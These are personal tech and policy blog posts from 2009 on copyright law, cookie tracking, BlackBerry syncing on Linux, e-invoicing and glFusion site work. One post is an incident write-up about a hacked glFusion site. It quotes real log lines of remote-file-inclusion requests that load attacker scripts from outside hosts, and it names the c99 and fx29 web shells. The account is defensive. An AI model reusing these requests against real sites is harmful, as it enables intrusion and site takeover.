The law, currently before parliament, would put in place a regime that completely ignores many of the precepts of a "free and democratic society," like that of being able to address your accuser and defend yourself against allegations before being punished. A whole internet connection, used by a family for example, might be cut off due to the actions of one individual - and that individual may not even be in the house if the typical unsecured wireless access point is available to someone parked out on the street. No warning and no recourse.

The presumption of guilt that this law portrays is meant to keep the buggy-whip manufacturers of the 21st century completely in control over their wares - even though their business model is so severely broken that even some of their artists who were their staunchest supporters early in the game are now leaving them as fast as they can.

I thought the US government was bad with their work to get their ACTA treaty passed - and maybe they are. At least the British are only going after their own people, not the rest of the world (yet).

BING! You're It! - And You Pay For It Too - Even With Cashback

Richard Pitt — Tue, 24 Nov 2009 08:27:03 -0800

The facilities now available to web retailers that track how you got to their site allow all manner of "interesting" things to be done once you get there.

A case in point is this article noting that at least one online seller actually charges a premium if you find their site via the Bing "Cashback" facility. Now I personally have not used this facility, in fact I do very little of my purchasing online for a variety of reasons but that's another matter, however the article presents the case very well. If you read the article you'll find that the author used the Bing Cahsback facility to find a reseller for a camera - then went to the site following the link. The price quoted in the Bing listing is the one that was shown on the web site when he pulled up the link. He then opened up the same page (presumably by copying and pasting the URL in the address bar) using a DIFFERENT web browser and the price shown was lower by almost $50 (US$43.84 to be exact but we're in Canada and the difference would have been close to CDN$50)

What happened here?

What happened is an example of one of the tracking facilities available to resellers being used in this case to penalize the purchaser rather than just target them with "better" advertising targeting and more focused marketing as has been touted by most who sell this type of service and facility.

You see the typical "static" web site neither sets nor watches for "cookies" - a piece of information that is sent to and stored by your PC's browser in a special area. You can tell your browser not to store cookies but they're so pervasive that this will break some sites almost to the point of being unuseable. The cookie itself rarely contains any actual information. Its name is usually built up of a random string of letters/numbers, and its contents may be nothing more than the name of the web site you visited. But sites that are linked "behind the scenes" can and do share information about what you were doing when the cookie was set - and maybe even all that you have ever done since the cookie was set - a history of your surfing.

The cookie is a key to a database, a key that unlocks the information about what your browser has done on any/every system that knows about the cookie/key and that has access to the backend database. Note that it is the browser that they have information about - so if your spouse or kids use the same account on your computer it tracks them too. If you use a different browser the cookies are stored in different areas so they don't track the other browser in the same way. This is key to this whole story!

By surfing with (for example) Firefox - then, once the site is found, using IE (or Opera or some other browser) the difference between "with a cookie" and "without a cookie" becomes aparrent. It is interesting to view some sites with cookies turned off - or from a browser that has not had a lot of history browsing the net, compared to viewing the same site with your regular browser. That's what happened in this instance - and the actual price information was different.

So, be aware that your experience with some sites may be colored by the fact you have either visted before or visited other sites that share their data infrastructure.

ACTA again "in the news" or It Should Be

Richard Pitt — Wed, 04 Nov 2009 07:29:35 -0800

Back in the late 1960s and early 1970s I worked for the local telephone company, BC Tel. At that time (and now too) it was designated a "common carrier" which amongst other things meant that if someone used its facilities to perform an illegal act, the telephone company could not be held liable or chaged as an accessory. I, as a technician, was told that only if I "in the course of my normal duties" witnessed an illegal act was I to report it. I was NOT allowed or encouraged to go looking for them.

In 1991 through 1996 I was co-owner of Wimsey.COM - Canada's first commercial Internet Service Provider (ISP) and Internet Access Provider (IAP) (started in 1986 by my partner, Stuart Lynne). At that time, and to this day, ISPs have worked toward the goal of also being a "common carrier" - in this case of information, not just telephone conversations (and faxes) - a fairly trivial distinction in today's wired age.

Wikipedia:

Common carriers are subject to special laws and regulations which differ depending on the means of transport used, e.g. sea carriers are often governed by quite different rules than road carriers or railway carriers. In common law jurisdictions as well as under international law, a common carrier is absolutely liable^[3] for goods carried by it, with four exceptions:^[4]

An act of nature
An act of the public enemies
Fault or fraud by the shipper
An inherent defect in the goods

It is the concept of non-liability for "Fault or fraud by the shipper" that concerns us here.

The recently leaked wording of the ACTA - the Anti-Counterfeiting Trade Agreement - that is in secret negotiations between the USA and many other countries of the world including my home, Canada, will put a 100% kibosh on that if the US has its way.

Included in the wording of the treaty is the concept of 3rd party liability for ISPs whose systems are used by anyone who breaks copyright rules. The application of this treaty would follow that of the Digital Millenium Copyright Act (DMCA) in the US where "notice and takedown" provisions have been used to assault free-speech and competition - but unlike the US where there are legal fall-backs, the treaty would not provide things like fair use (Us Copyright law) or fair dealing (Canada's Copyright law) which partially offset this draconian measure.

In fact, the wording seems to make the ACTA more of a copyright act rather than an anti-counterfeiting act and imposes US (lobbyists') rules on other countries using the trade might of the US to shove them down the throats of otherwise non-US citizens.

Everyone should write their MP (or local federal representative in other countries) and express their complete dismay that the Canadian foreign Affairs negotiators are even thinking about signing a treaty that so affects our copyright regime - recently expressed by Minister Tony Clement, the Industry Minister, as "...fully consistent with its international obligations" (Michael Geist)

The USA should not be allowed to foist its broken concepts of copyright and intellectual property rights on other countries disguised as some sort of trade agreement. Don't get me wrong - the concept of tracking and bringing to justice wholesale counterfeiters (those who make and sell fake copies of everything from dollar bills to purses, prescription drugs and yes, even music and video recordings) is well worth while and should be done via trade agreement. Just don't use this "nose of the camel" to introduce radical changes to legislation that affects otherwise law-abiding citizens of other countries where the legislative checks and balances that the US has in its constitution provide at least some mitigation for their otherwise wacky DMCA. Canada does not have fair use for example, and the fair dealing we do have does not help us as individuals against a DMCA-like act!

Spying on You - With Impunity - Not on My Computer!

Richard Pitt — Sat, 17 Oct 2009 10:37:06 -0700

I'm writing this for two reasons:

I'm (almost violently) against unwarranted (literally meaning without judicial warrant) intrusions into my and other citizens' private affairs by government or anyone - especially by self-serving media moguls eager to advance their own sales of what I can only consider "buggy-whip" products in the 21st Century's air-car marketplace.
I want to note that this particular topic again points up the incredible dominance of Microsoft over the public's computer facility options and how I simply don't play that game; at all!

Russell McOrmond's Digital Copyright mail list points up several articles (BoingBoing, Michael Geist) and the fact that Canadian legislators are again being lobbied heavily by the copyright and telecommunications industries to add ammendments to the proposed C-27 Copyright anti-spam bill to include un-known and unauthorized surveilance of personal computers by those self-same lobbyists - NOT THE POLICE!!! but BUSINESS!!!

Without judicial review or oversight!

This is just one more slip down the slippery slope toward a police state (and in fact this is worse) the likes of which we've seen in Soviet Russia and in China. Do you really want to live under such a microscope?

Micheal Geist lists some of the proposed "reforms"

changing the definition of "computer program" to exclude "a text file that is not independently executable" (ie. exclude cookies from the definition)
a new exception for third-party referrals. The referral provision allows for a single message where there is a referral from someone with a personal or family relationship. It also requires the marketer to disclose the source of the referral in their message.
a new exception for quotes or estimates of goods or services if requested by the person to whom the message is sent
a new exception for the completion or confirmation of an ongoing commercial transaction
a new exception for warranty or safety information
a new exception for ongoing subscriptions, loans or similar relationships
a new exception for information related to an employment relationship
a new exception for product updates or upgrades
a new exception for solicitation to participate in surveys or market research
a new exception for information on self-governing professions
a clarification that the existing business relationship continues if the business is sold
the removal of the need for explicit consent for software programs for updates or upgrades where consent was obtained earlier
an expansion of implied consent to include instances where the person has published their email address or provided their email address to the sender and the message is relevant to their business or role.
an extension of the time to remove a person from a mailing list to ten business days
a "grandfathering" of the need to obtain consent in an existing business relationship to three years from when the Act takes effect (double from 18 months)

The bottom line is that business is given a free hand in making your computer tell what you are doing without giving you a chance to tell them to go to hell. "the removal of the need for explicit consent for software programs for updates or upgrades where consent was obtained earlier" covers a lot of ground. For example it allows Microsoft to install completely different software under the guise of an "update" to your operating system (like their "malicious software removal tool" that has been accused of removing legitimate software purchased and owned by the computer owner)

The bill (C-27) lobbyists also want to effectively allow the media industry to install Digital Rights Management software (of any flavor - remember the Sony Root Kit debacle!!) onto your computer without even asking you whether they can. Not withstanding the fact that just having such software on your system is an affront to your ownership of the computer it runs on, the media industry simply does not care (nor have any duty to test) if their software interferes with other similar software or indeed legitimate software that has nothing to do with their content.

I give as an example Microsoft's own "tilt-bit" (read the original Peter Gutmann article for more depth) software deeply embedded into their recent operating systems that several times per second checks to make sure you have not made any changes to the underlying hardware or operating system controls on video and audio processing hardware/software, eating up valuable (to you) CPU horsepower and doing absolutely nothing of value to you - yet requiring you to purchase a far more powerful CPU than you might otherwise have needed.

The bottom line is that when you've tied yourself to a proprietary facility (in this case the operating system on your computer) you allow the vendor to make choices "for you" that may in fact be completely against you - and they don't have to tell you that they've done it!

The Candian Bill C-27 with the Liberal ammendments in it would give your music and video vendors the right and ability to do the same thing. Not on my computer!

You see my computer is not running anything from Microsoft (well, it does, but I keep it in a virtual cage and feed it judiciously through a filter) and since the whole thing is open source I (and any/all others who wish) can look at what is running and what wants to install itself and make an informed choice about it. The Open Source movement (Linux and all the software that is available for it and that is licensed under the GNU Public Licenses) allows us all to be eyes on the software to ensure nobody tries to slip a fast one on us, individually or collectively.

You see, if we control the hardware and the software we have the ability to say no to business - no, we don't want your ill-conceived and often ill-created instrusive software - at all!

Vote with your dollars - don't purchase anything that requires that you install anything on your computer that you have no view into - hit them in the pocket book and they'll change. If you don't; if you play along with them or "don't care" then we all lose.

Contact your member of parliament - and/or in this case the local Liberal candidate - and tell them you're not impressed with this potential intrusion on your personal liberties.

richard

Blackberry and Linux

Richard Pitt — Fri, 18 Sep 2009 14:03:59 -0700

I'm hard on cell phones it seems. I've drowned one and broken two and given one away in the past 6 months - so I'm now going to try a Blackberry flip - one with a cover over the screen and major components so I don't crack the display like my Sony/Errickson (and I'll try not to drown it in the pond) and one that will do a few more things at once than the iPhone I gave to my daughter-in-law (I hate single-tasking computers!)

So - now I have a Blackberry - have put 4 Gigs of flash into it, have successfully linked it as a USB disk to my Linux box and seen video - now I want to sync it with my contacts and e-mail and such.

Looking around with Google I see all manner of stuff from a couple of years ago - and one relatively recent article about using Ubuntu Linux but I run Fedora and things have changed quite a bit since the Ubuntu article was written.

So I guess we'll start with a grep through the stuff I have available to me in Yum

I'm always looking for stuff like this - mostly for video processing recently but I've developed a bit of a plan. I have a number of repositories I can look through and I tend to keep a recent list of what packages they have available to me in a file "yum.list" created with "yum list > yum.list"

One of the posts I found referenced an application called "barry" - an obvious mis-spelling of "berry" but not something I'd have looked for myself. There is in fact an application called "barry"

grep -i barry yum.list barry.x86_64 0.15-0.7.20090630git.fc11 @updates barry-libs.x86_64 0.15-0.7.20090630git.fc11 @updates barry-opensync.x86_64 0.15-0.7.20090630git.fc11 @updates barry-devel.i586 0.15-0.7.20090630git.fc11 updates barry-devel.x86_64 0.15-0.7.20090630git.fc11 updates barry-devel-docs.noarch 0.15-0.7.20090630git.fc11 updates barry-libs.i586 0.15-0.7.20090630git.fc11 updates

"yum install barry barry-libs barry-opensync" got that puppy installed under "Accessories" on the desktop menu

It turns out that on its own, barry will backup your blackberry to disk and allow you to restore it - not bad but now really what I was looking for.

OK - seems there's a package called "opensync" too - so:

grep -i sync yum.list barry-opensync.x86_64 0.15-0.7.20090630git.fc11 @updates

libasyncns.x86_64 0.7-2.fc11 installed libopensync.x86_64 1:0.22-4.fc11 @fedora libopensync-plugin-evolution2.x86_64 1:0.22-2.fc11 @fedora rsync.x86_64 3.0.6-0.fc11 installed syncevolution.x86_64 0.8.1a-1.fc11 @fedora allgeyer-musisync-fonts.noarch 5.002-2.fc11 fedora camcardsync.x86_64 0.1.1-2.fc11 updates claws-mail-plugins-synce.x86_64 3.7.2-3.fc11 updates corosync.x86_64 1.0.0-1.fc11 updates corosynclib.i586 1.0.0-1.fc11 updates corosynclib.x86_64 1.0.0-1.fc11 updates corosynclib-devel.i586 1.0.0-1.fc11 updates corosynclib-devel.x86_64 1.0.0-1.fc11 updates drpmsync.x86_64 3.4-16.fc11 fedora garmin-sync.noarch 0.3-3.fc11 fedora grsync.x86_64 0.9.1-1.fc11 updates imapsync.noarch 1.286-2.fc11 updates isync.x86_64 1.0.4-4.fc11 fedora libasync.i586 0.17.0-2.fc11 updates libasync.x86_64 0.17.0-2.fc11 updates libasync-devel.i586 0.17.0-2.fc11 updates libasync-devel.x86_64 0.17.0-2.fc11 updates libasyncns.i586 0.7-2.fc11 fedora libasyncns-devel.i586 0.7-2.fc11 fedora libasyncns-devel.x86_64 0.7-2.fc11 fedora libopensync.i586 1:0.22-4.fc11 fedora libopensync-devel.i586 1:0.22-4.fc11 fedora libopensync-devel.x86_64 1:0.22-4.fc11 fedora libopensync-plugin-file.x86_64 1:0.22-2.fc11 fedora libopensync-plugin-gnokii.x86_64 1:0.22-2.fc11 fedora libopensync-plugin-google-calendar.x86_64 libopensync-plugin-gpe.x86_64 1:0.22-2.fc11 fedora libopensync-plugin-irmc.x86_64 1:0.22-2.fc11 fedora libopensync-plugin-kdepim.x86_64 1:0.22-5.fc11 fedora libopensync-plugin-moto.x86_64 1:0.22-2.fc11 fedora libopensync-plugin-opie.x86_64 1:0.22-2.fc11 fedora libopensync-plugin-palm.x86_64 1:0.22-2.fc11 fedora libopensync-plugin-python.x86_64 1:0.22-2.fc11 fedora libopensync-plugin-sunbird.x86_64 0.22-5.fc11 fedora libopensync-plugin-synce.x86_64 1:0.22.1-1.fc11 updates libopensync-plugin-synce-wm5.x86_64 0.14-3.fc11 updates libopensync-plugin-syncml.x86_64 1:0.22-2.fc11 fedora librsync.i586 0.9.7-14.fc11 fedora librsync.x86_64 0.9.7-14.fc11 fedora librsync-devel.i586 0.9.7-14.fc11 fedora librsync-devel.x86_64 0.9.7-14.fc11 fedora libsynce.i586 0.14-1.fc11 updates libsynce.x86_64 0.14-1.fc11 updates libsynce-devel.i586 0.14-1.fc11 updates libsynce-devel.x86_64 0.14-1.fc11 updates libsyncml.i586 1:0.4.6-1.fc11 fedora libsyncml.x86_64 1:0.4.6-1.fc11 fedora libsyncml-devel.i586 1:0.4.6-1.fc11 fedora libsyncml-devel.x86_64 1:0.4.6-1.fc11 fedora msynctool.x86_64 1:0.22-1.fc11 fedora multisync.x86_64 0.91.1-0.1.svn384.fc11 fedora perl-Async-MergePoint.noarch 0.03-1.fc11 updates perl-File-RsyncP.x86_64 0.68-5.fc11 fedora perl-File-Sync.x86_64 0.09-6.fc11 fedora perl-Gearman-Client-Async.noarch 0.94-5.fc11 fedora perl-IO-Async.noarch 0.23-1.fc11 updates perl-MooseX-Async.noarch 0.07-2.fc11 fedora python-libasyncns.x86_64 0.7.1-2.fc11 fedora synce-gnome.noarch 0.11-3.fc11 fedora synce-gnomevfs.x86_64 0.13-1.fc11 fedora synce-hal.x86_64 0.14-3.fc11 updates synce-kde.x86_64 0.9.1-4.fc11 fedora synce-kde-devel.i586 0.9.1-4.fc11 fedora synce-kde-devel.x86_64 0.9.1-4.fc11 fedora synce-kpm.noarch 0.14-1.fc11 updates synce-serial.x86_64 0.11-3.fc11 fedora synce-software-manager.x86_64 0.9.0-12.fc11 fedora synce-sync-engine.x86_64 0.14-3.fc11 updates synce-trayicon.x86_64 0.13-1.fc11 fedora vdrsync.noarch 0.1.3-14.PRE1.050322.fc11 rpmfusion-free

and we find lots of libopensync-plugins - but nothing obvious for Blackberry :(

More digging - OK really look at the article in the Ubuntu forums for hints

more coming - my Evolution is digesting a major file move and is beating up my workstation -back in an hour or two - richard

Don't Let Them Stop Sending Real Invoices

Richard Pitt — Thu, 17 Sep 2009 08:34:23 -0700

I pride myself on being one of the pioneers in doing electronic invoicing. Our ISP, Wimsey, sent out electronic invoices from the late 1980s. We hit our stride in 1994 when the internet took off and we were sending over 5000 at once - sometimes more than once due to processing problems, but that's another story.

Today I note an article that T-Mobile, a cell company in the US, has backed off from charging $1.50 for the priviledge of getting a paper invoice each month. Lots of companies, especially those in the communications industry, are trying to get you to go all electronic - but there are some problems and caveats that you should be aware of.

We here in the Pitt household have run across many of them - and hopefully helped a few of the local companies deal with the problem better. I know that some of them have actually thanked my lovely wife for passing on her comments to them and helping them do better.

You see we know what it takes to do the right thing - we've done it before and suffered the slings and arrows that the typical pioneers get (they're the ones with the arrows in the back) - things like getting something sent again - or not getting carried away with putting self-serving messages into the bill that take up paper when printed.

But the local phone company has come up with an aspect of the problem that I'd never encountered before. You see, when you discontinue service they post your final bill to your electronic account - but in the mean time, since you're no longer a customer, they lock the account! You can't get at it to see what the balance is that you owe, so can't pay it!

This is just one aspect of another major problem with electronic billing - that of access after the billing period. You see the Canadian government, through their minions at Canada Revenue Agency, demand that they have access to your records for at least 7 years - and demand that you personally requiest that you be able to destroy such old records, even after 7 years.

So if you somehow forgot to print out your phone bill, or didn't print it out because 4 of the 5 pages were advertising and you object to such waste of your own personal paper/toner, then try to go back to your account and print them out from the past 7 years you're at the mercy of the vendor - and many of them either don't allow you in or don't keep the records online for that long.

Either way, you lose.

So - until there is a uniform and reasonable policy or law in place regarding access to your online invoices from your vendors, even if you are no longer a customer, for as long as the government might need them - I think you and I should all opt for paper bills, sent by snail-mail. It's a cost of doing business - but it costs the vendor a LOT less to print your bill and mail it to you than it does for the ink for your printer to print it out in glowing color just so their ads have impact.

Push back - tell them that you want the summary on one page and the details on as few pages as they can make them fit - and you want it ONLY in black, not color. Remind them that you're saving them the cost of paper, printing, and stamps. The least they can do is lower your cost of printing the invoice out if/when you need to do it.

And tell them that a policy of only keeping the records online for a few months - or restricting your access to them if you ever close your account is simply not an option. They MUST allow you to access your records on their system for as long as the governments and any other bodys with jurisdiction (accountants, etc.) require - not ifs, ands or buts - just do it. That's one of the costs of "saving" money by not sending physical bills.

Tag: electronic invoice online invoice snail-mail printing costs 7 years government

Why a Content Managed Website

Richard Pitt — Mon, 14 Sep 2009 11:20:14 -0700

My daughter-in-law has been struggling with the creation of a couple of new web sites, one for her boss' business and one for her seasonal wreath business she shares with her mother.

She's been doing all the design using a Windows-based graphics program, then writing the content and doing page layouts on her mother's laptop - for more than a month now.

Last week I sat her down beside me and created her wreath site for her - in about 1/2 hour from start to finish.

OK - to be sure, it was nothing like what she thought she wanted but then again, it was up, running, submitted to the search engines and available for her to chop and change and add content from anywhere on the internet she could log in from. She didn't have to have the page layout software on the computer she used - in this case borrowed from her mother - so was not tied in time or place. A standard web browser enabled system was all - and I know she has one at home because she loves the Linux system I gaver her earlier this year but that's another story.

Anyway, she loves it! Her own is not yet finished as I write this because she's spending all her time on the new one for her boss - but it's farther ahead than it was before last week - because the search engines have already been and she has a site rank and is on her way.

You might be interested in why and how my marketing company, P-zip Marketing, came to be doing this kind of web site in stark contrast to the really pretty and minimally functional ones that the web is litered with.

Krys loved it because it really did what she wanted to do - got on the web and got her information out in a format that was both pleasing and readable - and in a way that made the long-term task of keeping the site fresh and increasing the product mix easy and painless.

She was so taken by the CMS that she showed her boss and now he's getting his new web site done the same way using the same software.

I've been using content managers for many years. I've written about them here so you should take a look if you want to know the whole story on where they came from.

The bottom line is that I subscribe to the long-term methods of marketing on the internet - not the short-term gain for long-term pain ones that many of the so-called SEO firms use. The short-term methods play with the search engines' ever-changing foibles regarding links and key words and repetition - and the search engines turn around and invalidate such methods as fast as they can. Of course by that time the SEO company has your little web site "top of the list for your search terms" that week or month and as far as you're concerned they've earned their money.

The problem comes when you stop paying them and they stop fiddling with the search engines and it comes down to relying on what you actually have in the way of content, long-term links and real traffic. At that point your site's rank can fall from #1 to #10million in a matter of days.

In point of fact you're sometimes better off in the long run to just put up a basic site and let the cards fall where they may - but there is a better long-term strategy. That's where the Content Managed System (CMS) comes in.

In the past I started putting up sites using a CMS just so my customers could do some of the work of doing minor updates themselves rather than paying me or someone else to do them. I've always been a value concious consultant, it's in my nature. Having an employee able to add new email addresses and contacts and even products to a pre-existing page without them having to know anything at all about web made all the difference. The pages got updated faster and the information was both more relevant and more accurate. In some cases the format of the information was not exactly right and I or one of my staff had to go in and fix it, but in the grand scheme of things this simply does not matter to the search engines - and that is what it's all about!

It's about getting the search engines to come to your site frequently, see changes, see the site is fresh and relevant to your chosen product offerings, and grow your site's ranking "organically" instead of with the fertalizer called "BS"

In the past - a long time ago in internet time, like maybe 5-10 years ago - just being able to put up fresh content was a big thing. With the CMS this could be done by in-house people - the same ones who did your snail-mail newsletter and other marketing blurbs.

Today there is even more of a reason to use one of today's crop of content managers for your site - customer interaction and social networking. The current generation (generation Z) is so internet literate that they want to interact with you and your company via your web site - and if they can't do it with your web site they'll do it somewhere else that you have no control over.

Today you WANT internet feedback from your customers - it's the only way some of them will interact with you either prior to or after the sale, and the proportion of the purchasing public that is this way is growing daily. Today there are lots of Generation X (50-60 year olds) who spend a lot of time on the internet - something they didn't do as little as 3 years ago. Along with them is the increasing population of Generation Y (25-50 year olds) who have grown through the microcomputer revolution and into the internet and of course the Gen Z (5-25) who mostly have never known a day without microcomputers and have spent the last 15+ years on the internet constantly.

But there are other benefits to having a CMS - benefits that enable you to take better advantage of this fast-paced world we now live in.

For example you can very easily create a new "landing page" for each and every marketing initiative you do whether it is traditional (newspaper, billboard, truck signs, etc.) or internet (adsense and other online ads) - a landing page that will tell you which of the marketing tools you use does the best job, provides the fastest return on investment, or sells the most product.

In a "traditional" web site you have to ask your webmaster to ad any new page - and they'll have to add it to menus and such so it can be found - and it might cost you from a few dollars to many hundreds. If you're trying to measure the effectiveness of a $50 ad in the local newspaper such a cost simply is not justified - but then you'll never know if the ad was really useful, will you?

In a CMS you can create a really basic landing page in a few minutes - it doesn't even have to have any specific text or pictures on it - it can simply do a redirect to another pre-existing page. The point of the exercise is simply to count the number of hits the ad creates.

Anyway - you should pop over to the

P-Zip Marketing site

, especially if you have a "traditional" web site that is costing you every time you need a page updated and that is static and unchanging year after year. The difference may not be felt immediately, but over the long term it certainly will be and that's what matters, isn't it?

Forgotten Update Leads to Compromised Site

Richard Pitt — Mon, 14 Sep 2009 08:20:27 -0700

OK - it was my fault, I admit it and I'll take my licks.

I was in the midst of doing a number of site updates of glFusion and got distracted midway through one of my own sites - and left the installation directory in place for over a month. No wonder the site was hacked. I should know better and now I ensure that this tool repository is removed no matter what, and that permissions are changed and things tidied up before I let myself get pulled away.

I've informed the glFusion support as well as SANS - and dumped a copy of the code on them. It turned out to be a couple of fairly well known tools, c99shell and fx29shell - with their names changed to css.php and cyber.php respectively.

I twigged to the exploit because the number of emails the hack created to one user at Yahoo got the Yahoo email system hot and bothered, and it slowed down reception of the stream long enough for a timeout message to be generated (4 hours) by the system - and I got the message since I'm the recipient of last resort for all such messages on the server.

That got me looking and I found the hack and disabled it. I spent most of the rest of the day inspecting the machine and documenting the hack - a nice sunny Sunday I'd rather have back thank you.

You may find some nuggets in the rest of the story

I've been seeing the results of scans by robots looking for install setups on various software for years now. I get about 50 emails/day from systems after they've run their nightly log munging and rotations - and yes, I do look at the contents fairly closely.

Sample from one system today:

404 Not Found /boutique/install.txt: 2 Time(s) /butik/install.txt: 2 Time(s) /cart/install.txt: 4 Time(s) /catalog/install.txt: 2 Time(s) /install.txt: 2 Time(s) /shop/install.txt: 2 Time(s) /shop2/install.txt: 2 Time(s) /store/install.txt: 2 Time(s) /zcart/install.txt: 2 Time(s) /zen-cart/install.txt: 2 Time(s) /zen/install.txt: 2 Time(s) /zencart/install.txt: 2 Time(s)

And I even found the log entry from when they got my system - and what they did about it

avail4.atl.gahost.com - - [04/Aug/2009:06:45:27 -0700] "GET //admin/install/index.php?mode='&dbconfig_path=http://www.die-grenzreiter.com/content/download/fx29id.txt? HTTP/1.1" 200 16 "-" "Mozilla/5.0"

avail4.atl.gahost.com - - [04/Aug/2009:06:45:28 -0700] "GET //admin/install/index.php?mode='&dbconfig_path=http://www.trustintomorrow.com/ourspaceimages//newswiremedia///pbot.txt?&modez=botz HTTP/1.1" 200 166 "-" "Mozilla/5.0"

Lots more where that came from - and that's why I keep logs pretty much "forever"

You'll note that they used their own database server - this was so they can bypass the authentication in my database. This is one of the major openings in most install programs - they assume you're a good guy and so pretty much allow you to do anything. In this case the install program asks for and uses any mysql database server - using the construct you see in the URL above rather than reading the "real" database from the db-config.php file as the rest of the system does after install. The install program has to be able to create the db-config.php file and run up to the point where that file is in place and the rest of the system is working correctly, so it will use whatever database you give it on the URL.

After that it was grepping through log files looking for anything else that referenced the css.php and/or cyber.php files that were injected into my /images/library area - which has to be writeable since it is where the glFusion system puts images you're going to upload for your stories.

The hacker in this case knows enough about Geeklog/glFusion to know where to write stuff - but I'm guessing they really don't know much more, or simply didn't get time. The original compromise happened a full month before the rest of the hack took place and a bank phishing site was uploaded to my machine and became active. It was only active for a few hours but in that time there were quite a few responses that hit the phishing HTML area. I'm hoping it was mostly "haha fooled you" kinds of responses rather than real people entering their account information. I've seen the output from another hack of simlilar nature that put the results into a file instead of emailing them out real-time as this one did, and most of the information was obviously bogus. But some of it sure looked real to me and likely represented a number of soon-to-be very annoyed people.

The bottom line is that in this case I was lucky. I caught on soon, the rest of the computer has not been touched, and this was the only one of the many sites I administer that got caught. With a bit more time I'm guessing that this hacker could have done quite a bit more damage both to my machine and my reputation - as the URL for all the phishing has one of my domains in it.

So... ensure you don't leave the install stuff around - and better yet, if you have the ability to change the directory names of some or all of a software's active bits it sure makes sense to. This "security by obscurity" is not truly secure, but with the hackers mostly going for the "log hanging fruit" of standard installation paths the chances are that your site will not be touched, even if you don't lock it down much better than I did.

Note: I've received a follow up from Mark at glFusion telling me some of the things he's doing to lock down the install process in case it is left in place as I did. There are all manner of things we've discussed and I feel sure that these will make it much tougher in the future to compromise a system this way - but it is still a great idea to get rid of the install stuff anyway.

Tag: glfusion install hack malware

Consolidating glFusion Sites- Part II

Richard Pitt — Tue, 08 Sep 2009 09:41:35 -0700

In Part 1 of this tale we moved content from one glFusion site to another by hand, copying the articles one at a time and doing minor edits. Took about an hour from start to finish.

In this part we take a fairly large site and move its content to another site using a database backup and a few other tricks. We're talking about 2000+ articles this time so doing manual copying is not an option.

The original site is www.centa.com - the Taxman's main web site where he has been accumulating answers to tax and immigration questions since about 1998. In 2007 I put together a Geeklog-powered site, tax.centa.com, that was a test the tools and techniques of moving to a databased content management system from the original Frontpage powered one. There were two reasons for this:

Frontpage was at that time rumored to be being dropped as a supported product on Unix/Linux servers by Microsoft
The multi-thousand page site was taking as much as 1/2 hour or more to do updates to - Frontpage just didn't scale well to that level.

So for a time I was putting updates into both the www.centa.com site using the scripts I'd written many years earlier - and into tax.centa.com as well using some new scripts. This resulted in some duplication but not as much as you might suspect since I was only doing some of the postings - splitting them across the two systems.

The tests were successful - so it was now time to consolidate the two sites back into the www.centa.com domain.

The road to this consolidation included the complete replacement of the www.centa.com site's individual file content with pages stored in glFusion. Preparation for this event included the work done in conversion of the e-mail newsletter/answer postings done to the tax.centa.com site. This entailed creating processes that pulled the original e-mails apart and built story records from them.

It turned out that the easiest way to do the conversion was to go back to the original email archives and simply run the script for all of them - with one major change - the story IDs created for the tax.centa.com site were pieces of the subject of each email. This was done because at the time there was no easy mechanism to get the <title> HTML construct to show the story name, so putting "real" key words into the URL in the form of the changed story ID gave the search engines something other than the artificially constructed default date string to key on. The new glFusion system puts the story title into the <title> construct so this was no longer necessary.

So the story ID was constructed in the same manner as the file name had been in the Frontpage system - which meant it was a straight forward mapping of old file to new story ID that could at some point be automated in a redirect. As it is, we simply have a massive number of individual redirects, one for each original file - and all in the Apache configuration file, not the htaccess file, so they are read only once at startup. Each line is like the following:

RedirectPermanent /CEN-TAPEDE/archive/2002-July/000007.html /article.php/UsCa2002-July000007.html

So this got the www.centa.com site to the point where we could bring in the articles from the tax.centa.com site and all would live happily ever after.

So consolidation day (yesterday as it turns out) came and the whole process took about 3 hours elapsed - mostly waiting for the database to digest each of the 14 pieces of the story table from the tax site. The whole process was as follows:

ensure both sites had identical versions (1.1.5) of glFusion just to ensure record compatibility
create backups of both sites - full backups, not just the databases - just in case. The sites are backed up daily off site with a 10 day archive kept plus periodic pulls "forever" to DVD but in this case I copied to local disk storage as well
create database backups of both sites - the tax site's file was about 15 Megabytes uncompressed
using VI, I edited the TAX site database backup to extract just the story records. None of the other parts of the backup should be used - they drop tables and recreate them and such - not a good thing in this case
at the same time I replaced the TOPIC ID for each record with the corresponding one for the new site. Any that didn't map directly (jokes and thoughts in this case) I added to the destination system exactly as they were in the source system.
1,$s/'us_can'/'UsCanada'/g
This looked through all the records in the file and changed anywhere there was a 'us_can' to 'UsCanada' which is the name of the coresponding topic in the destination system. I did it in VI but it could have been done with SED (the stream editor) or any other patern matching tool. Note that this version of VI can handle files of almost any size that your computer can pull into RAM - but if your system was smaller or the files a lot larger, you could use other tools to accomplish the same thing.
The backup system puts a number of records into each INSERT statement - but with over 2000 stories there were a number of INSERTS, so, using "csplit" I split the file from the previous step into pieces, each beginning with an INSERT
csplit ../stories "/INSERT/" "{*}"
zip the resulting files (xx01 to xx15) and copy them from the server back to my workstation
open phpMyAdmin to the remote server and open the CENTA database
using the "import" function I uploaded each of the files created in 5, one after the other. I had used bzip2 to compress the files and phpMyAdmin admitted that it knew how to uncompress them prior to inserting them - a saving in bandwidth and time. Each file took about 5 minutes to upload and process.
Once the files were in the new system I simply put the redirect statement into the configure file for the old one and restarted the web server. There were no static pages in this case so I didn't have to move them or do specific redirects for them - but in most cases this would have been minimal if it was necessary.
Again, I changed the DNS to use CNAME for the old site to follow the new one and will go through the various SEO systems at Google and other places to ensure I don't confuse the issue by watching the old site's stats, etc.

Done! - as I said, about 3 hours from start to finish which included stops for coffee and a couple of phone chats. Not a huge project but then I'd done my homework.

Tag: glfusion centa.com redirectpermanent redirect mysql backup csplit frontpage microsoft apache l.a.m.p

Consolidating glFusion Sites

Richard Pitt — Mon, 07 Sep 2009 09:16:03 -0700

I've been using some form of content manager for years now - it's really the only way to easily allow the owner of a site to make daily or periodic changes to their site without incurring huge webmaster fees - and changing contents on a site is the ONLY long-term proven way to keep your site's position on the search engines!

Most of the sites I do personally today (I oversee lots of systems and sites but these are the ones I personally work on and put together) are done with either Geeklog, or the "fork" of this open source software calle glFusion

Over the years I've created several such sites for my own writings and musings - and today I decided it was about time I simply consolidated them under the one domain, Digital-Rag.com - which I recently acquired after many years of it's being owned by a paper-making company. You see I'd used the "Digital Rag" as the name of my first webzine while we had our ISP, Wimsey.com and had had to settle for it as a sub-domain or just the masthead of the various incarnations it had gone through over the years. Well, today they're all being consolidated and I want to share with you how I'm doing it.

I have 2 sites:

blog.pacdat.net
digital-rag.com

Each of these has mostly unique content - some duplicate but not much.

